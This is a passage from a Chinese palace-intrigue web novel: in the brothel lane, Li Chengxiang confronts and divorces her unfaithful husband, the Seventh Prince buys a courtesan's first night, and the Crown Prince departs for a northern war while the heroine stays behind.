“看台下这群男人没见过世面的样子,应该是效果不错。”谭妈妈看着疯狂往台上丢银钱的公子哥们,心情十分愉悦,这些钱到时候都会进她的口袋。 谭妈妈见燕晚清感兴趣,于是说道:“可要让人唤她上来?” “行,有赏。”燕晚清坐下,谭妈妈便开门去让小厮把那人喊上来。 那边还在拿着蒲扇的女子突然被喊了一声,说是楼上有个大人物喊她。 怀着忐忑的心情,女子上楼的功夫,就用碳灰把脸给抹了,等到谭妈妈看到她,直接惊呼:“脸怎么脏成这个样子!” 女子低着头,温顺的像个小绵羊。 虽然被炭弄脏了脸,但是燕晚清一眼便认出来了,此人正是前不久李家的大小姐李呈祥。 她微微蹙眉:“靠近些。” 女子听到男子的声音,身形缩了一下,恨不得将自己缩成一团。 让燕晚清忍俊不禁,想到刚刚谭妈妈说的她死活要卖艺不卖身,当下心中也觉得有几分的好笑了。 李呈祥走近了些。 燕晚清看了个真切,确实就是李呈祥。 只是放着好好的李家大小姐不当,为何要在烟花巷住下。 燕晚清有些想不明白。 李府距离烟花巷也不过是几条街的距离,她要是想回家,完全可以回去的。 难道是李家发生了什么变故? 瞬息之间燕晚清脑海中闪过了很多想法。 “你做的很好,有赏。”既然李呈祥不想说,那么她也就当做不知道。 等人领了赏赐出去了,人精一样的谭妈妈便凑上前来:“这人主子认识?” “有过一面之缘。”燕晚清也不打算瞒着:“她是李府的大小姐,你让手下的人懂点分寸。” 谭妈妈自然是听说过李呈祥的名声的:“难怪说呢,这么会赚钱,原来是李府的财神爷。” 她心下了然,也不会去问李呈祥为什么呆在这里,她恨不得这财神爷一直呆着,这样就能给她赚更多的钱财。 演出已经结束,林嫣然恍若九天玄女下凡尘,引得在座的公子哥恨不得当场就吟诗作赋送给林嫣然。 一番破天的赞美之后,司仪便聊起了今天晚上的重头戏。 那就是今晚花魁的初夜。 “起拍价,十两黄金!” 司仪面不改色的直接开始。 一听起拍价竟然是十两黄金,让不少公子哥彻底心灰意冷了。 谭妈妈听到十两黄金之后也愣住了:“谁给这货定这么高的!这还怎么往上加钱。”她说着就要下去,被燕晚清一把拉住:“不急再看看。” “肯定是这个死丫头,今天早上的时候,下面人就传她想要作妖,原来是在这里等着妈妈我呢。”谭妈妈气不打一处来。 十两黄金,可以筛选掉很多底层没有能力的公子哥。 但凡是给得起的,那也值得跟她林嫣然春风一度。 她轻轻的拨弄着肩膀上的薄纱,露出若隐若现的香肩,红唇轻轻嘟起,看的台下的男子热血沸腾,很快便有急不可耐的冤大头互相竞拍喊到了一百两黄金。 “一百两黄金!”谭妈妈捂着嘴忍不住笑出了声。 哎呀呀,这可都是她的钱啊。 燕晚清见状忍俊不禁:“你若是喜欢钱,为何不去金钱豹当个管账的,那里可比这里钱多得多。” “这就叫乐趣。”谭妈妈才不去金钱豹呢。 竞拍到一百两黄金,此时价格再往上涨就有些难度了。 但是就在这时,一个膘肥体壮的大老爷挤开身边的人,朝着台上的云歌喊道:“五百两黄金!” 此话一出,众人鸦雀无声。 五百两黄金啊! 眼下谁能有如此竞争力。 云歌看着那男子的模样,瞬间面色白了不少。 心里大骂,死肥猪! 她目光焦灼的看着在座的其他男子。 她一点都不想将自己交给这头丑陋的肥猪啊! 就在她心急如焚的时候,突然来了一道温柔的嗓音:“六百两黄金!” 燕晚清通过缝隙看了下去,看清楚来人之后,她眼中闪过了一丝冷意。 喊价的人竟然是吴城南。 吴城南一出面,林嫣然明显脸色好了很多,但是那土财主也不甘示弱,继续喊价,两个喊到了八百两之后,便再也上不去了,眼看着吴城南面露遗憾摇了摇头,只听见一道低沉的嗓音响起。 “一千两黄金!” 来人藏匿于一身黑袍之下。 但是燕晚清却在看到对方的瞬间,眼底烧起一股子黑火。 终于把对方给等来了。 她勾勾唇将窗户关上。 鱼儿已经上钩了。 “接下来的事情便交给你了。”燕晚清没了兴致,打算离开。 终于云歌的初夜被神秘人以一千两的黄金拍下。 谭妈妈亲自将云歌洗干净送进了那人的包厢里。 云歌心情忐忑的看着坐在贵妃榻上的男子,她上前两步,就见对方转过身来,露出一张自己熟悉的面孔。 “七,七皇子殿下……”云歌愣住。 萧鸿深面露深情:“好久不见,林小姐。” 云歌怎么也没有想到拍下自己的人,竟然会是七皇子萧鸿深。 她害怕的往后退了两步:“我,我什么都不知道……” “林小姐为何看到本殿如此害怕?”萧鸿深露出一抹温和的笑意:“本殿长得这般吓人么?” 自然不是,萧鸿深一直都很俊美,这也是为什么云歌之前对他情根深种的重要原因。 只是想到的那天夜里,有个女子拿着长剑在林家翻来覆去的找东西,说是得了七皇子的授意,然后杀了好多家丁仆人,导致她现在看见萧鸿深就感觉到从骨子里害怕。 萧鸿深也是前几日才得到消息,这个本该死在流放路上的林家大小姐林嫣然竟然会在今夜在烟花巷拍卖初夜。 林大人手里的账册是真是假不可知,但是林嫣然绝对不能落到他人的手里。 好在是他忙完了公务过来了,不然就要被太子的手下给拍走了。 届时太子一定会找各种理由在父皇面前打压他! 萧鸿深看着面前的林嫣然,他伸出手轻柔的在她的面颊上抚摸:“别害怕,你之前不是喜欢本殿么……” 第一百零九章 听不到,她让你滚么 看着自己曾经刻在灵魂深处的男子,云歌心中再次动摇了,她嘤咛一声:“殿下……” “今夜还很长,咱们还有的是时间。”萧鸿深弯腰直接将人抱起,朝着内室走去,云歌羞怯的低下了面庞。 她不知道的是,抱着自己的男子,面上的柔情根本没有达到眼底。 再等到她想要看清楚的时候,床幔已经开始摇曳,她便再也看不真切了…… 另一边。 李呈祥想都没有想到自己会在这里看到吴城南,这个伤她至深的男子,她的夫君! 他竟然要花八百两黄金妄图拍下云歌的初夜! 李呈祥越想越气。 吴城南哪有这么多钱?! 那都是她起早贪黑,可怜巴巴挣的钱! 他怎么好意思花的? 李呈祥越想越气,抄起柴房里的棍子就跟在了吴城南身后,看着他像个花花公子一般在烟花巷的莺莺燕燕当中游刃有余,她越看越觉得心凉。 以前她只看到这个男子的才情,看到他温柔的态度。 谁能想到背地里,他竟然会是这样一个花花公子滥情的模样。 李呈祥看着吴城南抱着一个模样可人的姑娘进了屋子,她二话不说抢过一旁小厮手里的托盘,敲了他们的房门。 里面传来吴城南的声音,李呈祥推开门进去了。 本就是做好心理建设的,但是看见吴城南趴在那女子身上的时候,李呈祥心里还是跟刀割似的。 李呈媛有一句话是说对了,眼前的这个男子根本就是骨子里的滥情。 那天哪怕不是她,换做是府里的稍有姿色的下人,他也会继续下去。 李呈祥为自己想不开跳河的事情感觉到不值。 看着自己曾经那般心动的红痣,在别的女子身上熠熠生辉,李呈祥觉得自己恶心的想吐。 她放下手中的托盘在桌子上,二话不说摔门出去了。 榻上的吴城南不满的嘟囔:“你这里的下人什么服务态度!” 姑娘赶紧道歉,又费了九牛二虎之力来讨好他。 李呈祥一边往外走一边心里憋着气,看到自己丢在一边的棍棒,她抿了抿唇,捡了起来,然后扭头朝着那间房走去。 她今日就要打死这个滥情的东西! 自己生死未卜,这个男人竟然心安理得的花着她挣的钱在花楼里玩女人! 简直是岂有此理! 这是她死了都要被气活了的程度。 李呈祥走的快速,推门直接就进去了。 这一幕被下楼的燕晚清给看了个真切,她挑挑眉摇着扇子跟了过去。 她对于李家大小姐还是非常感兴趣的。 自家的小六也对这个大小姐赞不绝口。 她为何会被谭云从河里捞上来的内幕,燕晚清说实话心里有些好奇。 见她拿着棍棒冲进了房间里,燕晚清赶紧走了过去。 屋内,李呈祥二话不说上前一棍子便将桌子上的酒壶给敲碎了,酒水夹杂着瓷片迸溅在房间里,吓得床榻上的男女迅速分离开来。 吴城南刚想发怒,但是一抬头就看见了李呈祥的面容。 虽然是不太干净,但是那双眼睛,五官都是他记忆深处的样子。 他赶紧从床榻上爬起来:“娘子!” “谁是你娘子!”李呈祥双手握着棍棒,冲着吴城南跑去:“纳命来!” 吴城南堪堪躲过李呈祥的一击,看着被褥被她打的凹下去,心中慌乱不已:“娘子你听我解释啊,为夫真的只是最近太郁闷,路过烟花巷,进来看看而已。” “看看?”李呈祥气不打一处来:“鬼话连篇的狗东西,你八百两黄金竞拍花魁,当我瞎了吗?!” “为夫只是看那花魁生的美,没有拍,为夫帮忙抬抬价格而已,为夫怎么可能会去花这么多钱去拍这样一个女子呢。”吴城南一边躲避一边说道。 “你的这些鬼话留给阎王爷说去吧!”李呈祥抬起棍棒再次朝着吴城南打去,这次吴城南躲闪不及被打了个正着,疼的他冷下脸来。 “李呈祥你认真的!”他抿着唇:“好好跟你说话你不听,你非要玩这个。” 他上前一把直接抢走了棍棒,狠狠的丢在了地上,李呈祥被他一拽,惯性不及,摔倒在了地上。 吴城南气冲冲的说道:“你二话不说就离家出走,现在出现在这里,为夫还没有问你呢,你到好意思直接来质问我,你说,你为什么出现在花街柳巷,是不是早就不干净了!” 听着这些如刀割的话语,李呈祥自我嘲讽哭出声了声。 她又哭又笑。 “为夫不过是犯了众多男子都会犯的错误,你看看你给为夫打的!”吴城南撩起袖子,露出胳膊上的青紫痕迹,他冷笑:“你当真是下了死手啊李呈祥,一日夫妻百日恩,你可真有种!” “你也知道一日夫妻百日恩,你和我三妹颠倒龙凤的时候怎么没有想到这句话?你刚刚搂着那女子的时候怎么没有想到?”李呈祥死死的咬着下嘴唇,冲着吴城南吼道。 这就是自己爱了这么多年男子的真面目! 什么海誓山盟,什么一生一世一双人都是屁话! 她当真是瞎了眼,才会选这种男人当自己的终生伴侣! “那你呢?!你又算得上什么好东西!”吴城南冷冷的说道:“你抛头露面的穿梭在众多男子中间,有的时候深更半夜才回来,动不动就耍小脾气,为夫可有说过你半句?你现在还公然直接住在了烟花巷里,你把为夫又置于何地!” “……吴城南,我当真是瞎了眼。”李呈祥听着这些越来越刺耳的话语,从曾经深爱的男子口中不断传出,在他们的身后,那个衣衫凌乱的姑娘还在看着他们发呆,此情此景,她仰头,泪水顺着脸颊忍不住的往下淌。 罢了罢了,李呈媛跟她说这些的时候,她心里的天秤一直偏向自己的夫君。 被他三言两语哄了几句,便当了一个只会争风吃醋的后宅女子。 眼下的一切让她认清楚现实。 李呈媛不是个好东西,她的夫婿吴城南更不是! 她不可置否,面前这个男子模样俊美,知书达理,还拥有极高的才学,可是他十足的滥情! 李呈祥无法想象自己往后要再经历多少这样让她恶心的事情。 “……既然事情已经到了这种地步。”她撑着地面起身,手掌被地上的酒壶碎片扎破了手也浑然不在意。 李呈祥走到了书桌前面,将宣纸铺好,然后拿起了毛笔、 “本姑娘不耽误你的海阔天空,放你自由便是。” 她提笔开始写休书。 吴城南见状皱眉上前:“你要休了我?!” 李呈祥不吭声直接开始继续写。 “不能,你不能休了我!你这样,让我怎么在太子面前做人?!”吴城南想到了这件事情,伸出手去抢她手里的毛笔。 李呈祥哪里肯让:“你做不做人跟我有什么关系?我难道不要做人吗?!吴城南你撒手!” “不行,我不许!你休想!”吴城南到底是男子,一把抢过毛笔狠狠的摔在了地上,又趁着怒火掀翻了桌子,李呈祥一个不注意,被他掀起来的桌子重重的撞到了腰肢,直接摔到在了地上,痛苦的呜咽出声。 吴城南慌了神:“娘子,娘子,为夫不是有意的……” 他伸出手要去扶。 李呈祥疼的抽气,仍然要伸出手打走他:“……滚开!” “不要再置气了,为夫带你去找大夫。”吴城南弯腰便想要将李呈祥抱起来。 只听见门口传来一道懒洋洋的男声:“这位兄台难道是耳聋了?听不到这个姑娘让你滚么!” 第一百一十章 落笔,休书 吴城南见陌生男子开口,他阴沉着一张脸,侧眸。 “这件事情跟阁下没有任何关系,还请你不要多管闲事。” 燕晚清摇着手里的折扇,听到这话反而是直接迈开脚步走了进来,她先是招手让躲在角落里瑟瑟发抖的姑娘先出去,然后又气定神闲的看着吴城南说道:“如果说,小爷我非要多管闲事呢?” 她看着李呈祥捂着腰腹痛苦佝偻着身躯,疼的小脸煞白。 “看你也是个人面兽心的翩翩公子,怎么还动手打女子呢?”燕晚清说这话的时候,眼底都是泛着冷意。 吴城南双手不自觉的蜷曲:“我不是有意的,再说这是我的娘子,我们夫妻俩的事情跟你一个外人有什么关系?!赶紧滚!” “夫妻?”燕晚清轻笑道:“你说夫妻便是夫妻了?这烟花巷里多得是露水情人,一日夫妻,倘若真的是你的娘子,这可真算得上奇事儿了,小爷我头一回听说带着娘子过来逛窑子的。” “你!”吴城南冷下脸来,头一次见到如此难缠的人,一般人这样说两句早就走了,哪里能够像这个人一般,如此厚脸皮的站在屋子里,还跟自己理论起来了。 倘若不是真的闲的不行的富家子弟,那么就是和李呈祥认识的人。 此时李呈祥疼得不行,又认出了燕晚清就是一号包厢的贵人,她朝着她伸出了手:“救,救……” 看到这一幕吴城南怒气上头直接冷笑:“我倒说呢谁会这样多管闲事,原来是你的奸夫!” “慎言!”燕晚清哦呦一声:“你可不能平白无故污蔑小爷我的清白。” “这还能有假?!”吴城南看着李呈祥冷笑:“你休了我便想让他上门是吗?” 他看着燕晚清身形瘦削,是李呈祥会喜欢的那一类,当下口不择言起来。 李呈祥梗着一口气,她丝毫不退让:“对,我就是这样想的!” 她疼的五脏六腑都在颤抖,可是这一刻她根本不想输! 燕晚清见李呈祥的状态不对,便直接走了过去,她二话不说绕过了阻拦的吴城南,弯腰将人抱了起来。 看着李呈祥下意识的搂着燕晚清的脖子,吴城南睚眦俱裂:“奸夫淫妇!” “好笑,自己不干不净,还要往别人身上泼脏水。”燕晚清冷笑道:“都说太子殿下一世英名,任人唯才,怎么身边有你这种人品极坏的东西。” 前世她只听说过吴城南有个亡妻,后来终身未娶。 本以为是个深情人设,谁能想到的是本人竟然如此滥情。 人,果然不能被表面的东西所迷惑。 也是,能够和自己一较高下的男子,心机自然是颇深的。 看来前世李呈祥便是这样受尽了委屈,然后枉死的。 燕晚清心中大概过了一下前世的某些传闻,再和现在的联系起来,当下对于这个吴城南便是一万个嫌恶。 吴城南意外眼前这个名不见经传的人竟然能够知道他在太子面前当值,当下微微蹙眉:“你到底是谁?” “小爷我是谁根本轮不到你关心,倒是你,以后记得夹着尾巴做人。”燕晚清挑衅的看着他。 吴城南心中慌乱,脑中开始计较和算计。 眼前的人认识自己,应该是对太子那边的人颇有了解,加上今日有传言说七皇子那边的人要过来拍花魁,他过来一看究竟,后来花魁确实是被神秘人拍走,也证明他之前的推测没有错,那么眼前这个人,难道会是七皇子身边的人? 燕晚清见他神色变幻,不耐烦的说道:“让开。” “你抱着我的夫人,想要我让到哪里去?!”吴城南自然是不可能让的。 他一定要搞清楚眼前人的身份,看看是不是七皇子那边派来的细作! 燕晚清听着怀中人逐渐微弱的气息,她当即冷下脸来:“你跟我在这里耗一分,你夫人便多疼一分,你但凡还是人肉长得心,就该心疼心疼她!” 吴城南听到这句话,愣在了原地,燕晚清丝毫不客气,大力用肩膀将他撞到了边上。 笑话,她自从千机之毒解了之后,整个人已经恢复了五六成宫里,一个软脚虾吴城南,她还没有放在眼里,果然被她撞了之后,吴城南原地转了个圈,然后狠狠的摔在了地上,直接磕到了额头,在眉心的位置擦出一道伤出来,疼的他直抽气。 燕晚清头也没回的抱着怀中的李呈祥离开了。 人渣,活该! 等到李呈祥醒过来的时候,身边坐着谭妈妈。 谭妈妈见她醒了,便将枕头垫在她的身后,轻声的问道:“渴不渴?” 李呈祥点点头,谭妈妈便将茶水递给了她。 李呈祥喝了整整一壶水,才缓过神来,感受着腰腹上缠绕的纱布,她眼神在屋中四处游移:“救我的人呢?” 谭妈妈知道她在找燕晚清,于是说道:“走了。” “走了?去哪儿了?!”李呈祥说着就要下地来,她还没有跟恩人道谢。 谭妈妈赶紧将人给摁在了榻上:“你今天上了一号包厢心里也十分清楚,救你的人就是非富即贵,看你这孩子也是懂的知恩图报的,这样吧,你留在烟花巷多挣点钱,就算是报答了。” 李呈祥摇了摇头:“我不能答应谭妈妈。” “为何?” 李呈祥心中有气:“谭妈妈有所不知,我其实是李家的大小姐,落入河中也是自找苦吃,眼下心结已经解开,我想回到家中处理一些事情。” 谭妈妈听燕晚清说了前因后果,心中对于这个丫头也是有了一点同情心。 但是不多。 “风月场合呆多了,南来的北往的都说自己有苦衷,你想要走,妈妈我也不留你,但是这些时日你吃的用的穿的可都花了不少银子……” “谭妈妈放心,你可以派人送我回家中,您开个数,我取了便让人给您带回来。”李呈祥一下子就听懂了谭妈妈的意思。 谭妈妈这下也不纠结了:“行,你先休息休息,大夫说你现在还不能动,这腰腹上的伤若是不好好保养,以后怕是会影响到你的生育的。” 说完话,她施施然离开了。 屋内便只剩下了李呈祥一个人。 她坐在床榻上发了一会儿呆,泪水忍不住从眼眶中溢出,不知道过了多久,她咬咬牙掀开被子,强忍着疼痛从床榻上下来,走到了桌前。 慢慢的研好墨。 将纸张摊平放在了桌子上。 李呈祥双眼猩红,表情十分倔强。 当初的婚书是她亲自写的。 眼下的休书,她也要一字一句的悉数写个清楚明白。 她李呈祥这辈子赚钱是干干净净的赚的,往后她都要干干净净的,任何想要玷污她和李家名声的人,她都不要了。 “……弃我去者昨日今日不可留……” 她落笔两个大字:休书。 吴城南,你休想再吸附在我的身上吸血了! 第一百一十一章 好狠的心,说不要便不要了 李家的大小姐李呈祥回来了。 李家老小听到这个消息都兴高采烈的到门口迎接。 当李呈祥从马车上下来的时候,众人都热切的迎了过来,问她这段时间去哪儿了。 李呈祥没有任何隐瞒,将自己想不开跳河自尽,然后被烟花巷的谭妈妈给救了,自己养好伤便回来了。 听到李呈祥跳河自尽的时候,李大人老泪纵横。 他没有想到自己一贯懂事听话的大小姐,竟然也会有想不开的那天。 她应该心里有多苦啊…… “父亲,女儿与你有要事相商。”李呈祥开口道。 李大人点头:“随我来书房。” 一到书房,李呈祥便说了昨日看见的事情,然后直言要将吴城南休掉。 李大人听到这话,蹙眉:“当真?” “女儿亲眼所见。”李呈祥想到昨天发生的一切便痛不欲生。 李大人没有她想象中的那般义愤填膺:“你可知,哪怕是上门女婿,也没有被女方主动休弃掉的。” 此话一出,李呈祥的面色白了几分。 “……父亲的意思是?” 她只觉得胸闷。 李大人无奈的叹了一口气:“男子三妻四妾本就是常事,你何必……” “父亲!”李呈祥不想再听这些话,直接打断,她目光中都是哀切:“他那般伤我,父亲为何还要替他说话。” 她以为自己回到家中,就会得到家中人的支持。 只是没有想到,她放过了自己,却没有被人放过。 书房外传来仆人的声音,说姑爷来了。 听到李呈祥回家的消息,吴城南第一时间从外面回到了家中。 进了书房之后,他看了一眼憔悴的李呈祥,又看了看沉默不语的岳丈,聪明如他便知道刚刚他们在说些什么了。 “小婿做了猪狗不如的事情,求岳丈大人责罚!”吴城南直接跪在了地上,膝盖落在地面的声音十分沉重。 李大人看着他跪的结结实实,面露难色。 这些时日吴城南在东宫的表现确实如日中天,连带着他在朝中都会被人夸赞说自己的这个上门女婿往后大有所为。 眼下吴城南做出的事情,确实令人发指。 只是他从长远来看,是不想女儿错过这个金龟婿的。 吴城南也就是在儿女之情上面比较混账,其他的事情不管是尊敬长辈还是朝中为人处世,乃至处理其他各种事情,都是游刃有余,被人称赞的。 “女儿啊,你可要三思而后行啊。”李大人叹了一口气。 李呈祥袖口里的休书被她捏的近乎湿润。 “不管付出任何代价,我今日也要休夫!”李呈祥听见自己的声音。 “娘子!”吴城南痛苦的喊出声:“为夫知道错了,昨日为夫实在是气急败坏,口不择言了,都是为夫的错,你要是心里不高兴,像平日那般打骂于我出气便是,切莫再说出休夫这种话来伤为夫的心了。” 李呈祥听着他的说辞,心中只觉得可笑。 这个男人直到现在还都是心眼子。 再推敲到之前的话语,她心中都是凉意。 每一句话都经不起推敲,推敲的背后都是伤人的真相。 “今日我回来便是给你休书的,字我已经签好了,你认或者不认,往后你与我李呈祥都不再有半点关系。”李呈祥从袖口出掏出休书,直接丢在了吴城南的身上。 吴城南捡起休书:“你想明白了?” 她紧闭双眼,然后缓缓睁开,眼里还是痛苦却已经逐渐清明。 “我想的十分明白清楚,往后山高水长,你我各不相干。” 她说完推开书房的门边走了出去,自始至终再也没有回过头再看地上吴城南一眼。 吴城南拿着休书怔怔出神,谁也不知道此刻的他心里究竟在想什么。 李呈祥回到了自己的院中,便让人将吴城南的东西全部丢了出去,并且让丫鬟小厮们都注意了,不要再把这个人放进自己的院子里来。 等吴城南看见院门外整整齐齐的包裹时,他才真正意识到自己被抛弃了。 从前满心满眼都是自己的李呈祥,终于不要他了。 吴城南捏着手里的休书,这一刻他感觉自己的心空了。 “让我进去,我只跟她说一句话。”吴城南被拦在了外面,他执拗的跟丫鬟说道。 丫鬟得了李呈祥的吩咐,不敢有半点松懈。 “大小姐心意已决,还望姑,吴公子不要为难我们这些下人。” 吴城南见不到李呈祥,心中痛苦不堪。 很快便被得到风声过来的李呈媛给捡了回去。 当丫鬟们愤怒将这个消息告诉李呈祥的时候,她只在翻看账本的瞬间有一丝的停滞,很快她便冷冷的说道。 “她喜欢捡我不要的,给她便是。” 往后她再也不会沉溺于任何一个男子的甜言蜜语中。 吴城南在李呈媛的院子里喝的烂醉如泥。 李呈媛就在旁边看着他一杯接着一杯的喝,也不做阻拦。 看到人喝的面颊通红,她眼底都是讥讽。 这就是男人。 拥有的时候不珍惜,失去了后悔莫及,怪上天怪旁人怪自己,却从来都不长记性。 只能说是,活该。 吴城南满身酒气的看着李呈媛:“你说,她怎么就这般狠心呢?说不要便不要了。” 此时的他额头上的擦伤已经完全遮盖住了眉心的那点红痣,李呈媛将手从他的手掌里抽出来,就当做是没有听见一般。 李呈祥不要他了,说的好像她李呈媛就要似的。 倘若不是他还有用,她何至于这般委屈自己陪着喝酒一坐一下午,当时无趣死了。 看着已经烂醉如泥胡言乱语的吴城南,李呈媛将自己的袖子从他的手中用力扯出来,然后站起身朝着屋子里走去。 她可没有兴趣陪一个醉鬼回忆悲痛过往。 不过从吴城南的嘴里,她倒是知道了一个感兴趣的消息。 没有想到李呈祥竟然是被烟花巷给救出来了。 这个消息可是要好好利用一下。 看看往后还有哪家的公子敢看上这李呈祥的。 …… 烟花巷。 谭妈妈笑的合不拢嘴,这第二日神秘人又派人送来了云歌的赎身钱,加起来整整三千两黄金。 看着人做上马车离开了,谭妈妈一点遗憾都没有,转身便拿着钱带着大家伙下馆子吃香的喝辣的去了。 她真希望往后主子多塞几个这种货色进来,这种人的钱可真是太好赚了。 马车上,林嫣然,不,现在得叫她云歌,初经人事,整个人乖巧的躺在萧鸿深的怀中。 萧鸿深就这么盯着她,不知道在思考着什么。 云歌发现他极其喜欢抚摸自己的鼻尖。 有时候摸得发痒,她便会打喷嚏,看见她打喷嚏,萧鸿深便会发出低低的笑声。 “殿下,我们要去哪儿?”云歌害羞的问道。 “回家。”萧鸿深看着她娇俏的鼻尖上的一颗小痣,看着那颗痣的位置,眼神中都是缱绻。 第一百一十二章 她知道,但是她不能 朝野动荡来自于一个从北方疾奔回来的骑兵。 他只来得及将手里的急报交到城门口的守卫军手里,便咽了气。 守卫军不敢耽搁军情,快马加鞭朝着宫中而去,当天陛下就从久居不出的炼丹房里出来,紧急召开了关于北方战事紧急的朝会。 燕晚清没有想到的是,陛下会特意让宫人到郡主府请自己也过去。 这在之前是前所未有的事情。 大概是真的无人能用了,皇帝又将主意放在了她的头上。 塞外蛮子势如破竹,已经连续攻破了三座城池,眼下边关战事告急,边关百姓民不聊生,都指望着朝廷派出军队前去镇守。 这是燕晚清重生之后第一次见到皇帝。 他穿着有些不合体的龙袍坐在龙椅之上,整个人老态龙钟。 皇后年轻貌美的坐在他的身侧,越发衬托着皇帝的衰败。 看来他确实是时日无多了。 燕晚清收回了目光,一言不发的站在朝臣当中。 大渭皇室勾心斗角,早就把能派出去的能臣都派了出去,现在朝中在座的大多数新晋的文臣还有一些年迈的老臣,谁能个担当此大任,前去北部平定蛮子之乱呢? 谁都不敢轻易开口。 只听见朝臣中窃窃私语者多,却没有一个开口朝着皇帝请缨的。 燕晚清自然是不可能主动请缨前去镇守叛乱的。 皇室如何,与她何干? 看着皇帝那臃肿肥胖的身躯,她便由内而外的觉得恶心。 只怕是她前脚刚走,后面他就会让人将整个燕家满门抄斩吧。 所以这一次,说什么,燕晚清也不会离开京都。 “你们都讨论半天了,商量出让谁前去北部平定战乱吗?”皇帝见下面闹哄哄的,猛地一拍龙椅,沉声问道。 瞬间朝堂之下鸦雀无声。 燕晚清眼观鼻鼻观心,时不时还咳嗽两声表示自己体弱多病,抗不到塞北,大概路上就会嘎了的讯息。 这让将目光落在她身上的朝臣又收回了心里的打算。 眼下便只剩下了两个明争暗斗的皇子了。 太子萧蘋风和七皇子萧鸿深。 他们正值年少,又都骁勇善战,而且都是皇子,派谁去都能够代替皇帝的威严,起到鼓舞军心的作用。 只是眼下皇帝明显是时日无多,谁去北部,能否战胜归来是一说,回来的时候原先属于自己的东西还在不在又是一说了。 所以这也是两派朝臣彼此争论不休,都企图让对方的候选人主动请缨前去平定战乱的原因。 皇帝被吵得脑子疼。 张岚依便赶紧上前说道:“陛下不如先中场休息一下,让他们自行争论,横竖皇子们都在,肯定会有个结果的。” 太子和七皇子之间,横竖得去一个人,这个人是谁,对张岚依而言,她更希望去的人是太子,比起萧鸿深的阴毒,她对上深不可测的太子,胜算会比较低,这是她出于一个女人的直觉。 皇帝采纳了皇后的建议,他选择了回避。 没有了皇帝在上面盯着,朝臣们便放开了争吵,吵得面红耳赤者数不胜数。 “太子乃是一国太子,岂能亲自前去平定战乱!当真以为别人不知道你们的狼子野心么!” “七皇子眼下刚从外地回来,身体劳累,怎能再去带兵打仗,更何况他也没有这种体验啊,延误了军情到时候算谁的。” “没有才要体验啊,等七皇子打赢了蛮子,陛下定会龙颜大悦的。” “太子打赢了陛下一样有赏赐啊……” 大臣们吵得不可开交,燕晚清只觉得耳膜疼,直接走出了大殿透气。 她没有想到的是,太子直接跟了出来。 萧蘋风目光在她身上游移了片刻,最后落在了她平坦的小腹上唇瓣抖了抖,神情莫测。 燕晚清背过身去不看他。 无能为力,而且过去的事情,她不想再去耗费心神缅怀。 这件事情里面,谁都没有对不起谁。 非要说对不起,那么她宁愿去做这个恶人。 “你不想跟孤说点什么吗?” 燕晚清沉默了半饷开口:“我希望殿下不要去北部平定战乱。”根据前世的回忆,此行他有去无回。 “你以什么身份请求孤不去?”萧蘋风轻轻的开口。 燕晚清心跟着一窒,她抿着唇露出一抹苦笑:“是臣女越界了,只是朝中动荡,多得是狼子野心的人,殿下此番离开京城,一定会生出很多变故。” “……只有这些?” 燕晚清满脑子的思绪,在这一刻挤不出半点话语。 萧蘋风看着她清瘦的模样,俊美的面上露出一抹苦笑。 “我知一切都不是你的本意,可是……燕晚清,我实在没有办法要求自己去原谅你的心狠。” 这句话在暖风中吹进了燕晚清的耳朵里,却好似一块尖冰扎进了她的心里。 “可惜了,安平郡主,此次平定北部战乱,孤非去不可。”说着他转身进了大殿。 燕晚清伸出去的手甚至来不及抓住他的衣角。 他走的如此决绝,只听见大殿之内传来掷地有声声音。 “此次北部叛乱,儿臣愿意主动请缨,带兵前往,锵阀蛮夷,扬我大渭国威!” 最后四个字落在耳边的时候,燕晚清只觉得前世今生很多画面串联在了一起,一阵耳鸣之后,整个世界又回到了她的周围。 燕晚清用手扶住了身边的朱红色的柱子。 一切的一切,都是命数。 她本不该跟他牵扯在一起。 燕晚清木讷的抬脚走进了大殿,此时皇帝已经坐在了高位之上,他看着跪在地上的萧蘋风,目光很是深沉,夹杂着上位者的审视。 皇帝见燕晚清走了进来,竟然开口问道:“蛮夷狡猾,此去北部若是能够有谋臣一并,势必会事半功倍啊,可有自告奋勇者?” 很多年轻的朝臣都站了出来。 燕晚清目光落在萧蘋风坚挺的背影上,双手攥得生紧。 她不能。 不能去…… 她知道他在等什么,但是她不能。 燕晚清双眼猩红,死死的低着头看着地面。 而那太子终究没有等到大殿之上响起自己想要听到的声音,黑眸中最后一丝光亮彻底暗淡了下去。 由太子亲自平定北部战乱,扬大渭国威,朝政之后一锤定音,即日启程! 第一百一十三章 道不同,终将远行 萧蘋风走的那天,燕晚清站在城楼之上看他的背影。 看着皇帝亲自为他斟酒送行,看到萧鸿深站在人群中都忍不住露出的笑容,看到他表情冰冷的翻身上马,看到他走的好远的时候,回过头来看…… 燕晚清端着酒盏中的酒,迎风朝着他的回眸,抬头将酒盏中的酒水一饮而尽。 她躲在了城楼之上,就让他以为自己是绝情的女子,这样也挺好的。 他有他的战场,她也有她的战场。 道不同,背道而驰便是。 自始至终,他们都走不到一块去。 自从太子御驾亲征之后,七皇子在朝中的势力便越发的张狂起来,加上皇帝察觉到自己时日无多,越发沉溺于炼丹,政务交给七皇子全权处理之后,他也跟着越发的目中无人。 燕晚清外出的时候,经常看见他手里的人在欺压百姓。 这些她都看在了眼里,记在了心里。 打蛇打七寸,一击就得致命。 燕晚清深谙这个道理。 只是她万万没有想到柴右给她送来了一则消息。 太子离开后不久,里面有个谋士策反了几乎整个东宫的门客前去投靠了七皇子。 这个谋士,叫吴城南。 前世忠心耿耿的他,这辈子选择投靠了七皇子门下。 燕晚清查了很久才知道,太子临走之前让吴城南从东宫出去,这才激发了他的反骨,从而将大半个谋士都挖过去了七皇子的府上。 有了这些谋士的出谋划策,七皇子更加如日中天,眼下几乎要将自己当成皇帝了,看的张岚依见到燕晚清就忍不住吐槽。 燕晚清让张岚依忍一忍,小不忍则乱大谋。 只是她没有想到的是,萧鸿深竟然如此嚣张,直接吞并了她手里好几家铺子生意,连带着燕凌珍手里的几家药房都被他给强权收走了。 这就公然犯了燕晚清的禁忌。 她直接让五妹让手底下的草莽,砸了萧鸿深一条街的生意。 眼下萧鸿深没来,但是他最近的新宠,那个叫云歌的带着七皇子府上的人过来了。 云歌让人二话没说,上前便开始砸东西。 燕晚清当时正在后院查账,听见前面的声音,她将账本放下去,便出去了。 云歌抱着一只宠物猫,站的远远的,她手底下的那些人便疯狂的在店铺里砸东西。 店铺的掌柜一看见燕晚清出来了,赶紧上前:“郡主……” 燕晚清抬手让他别说话。 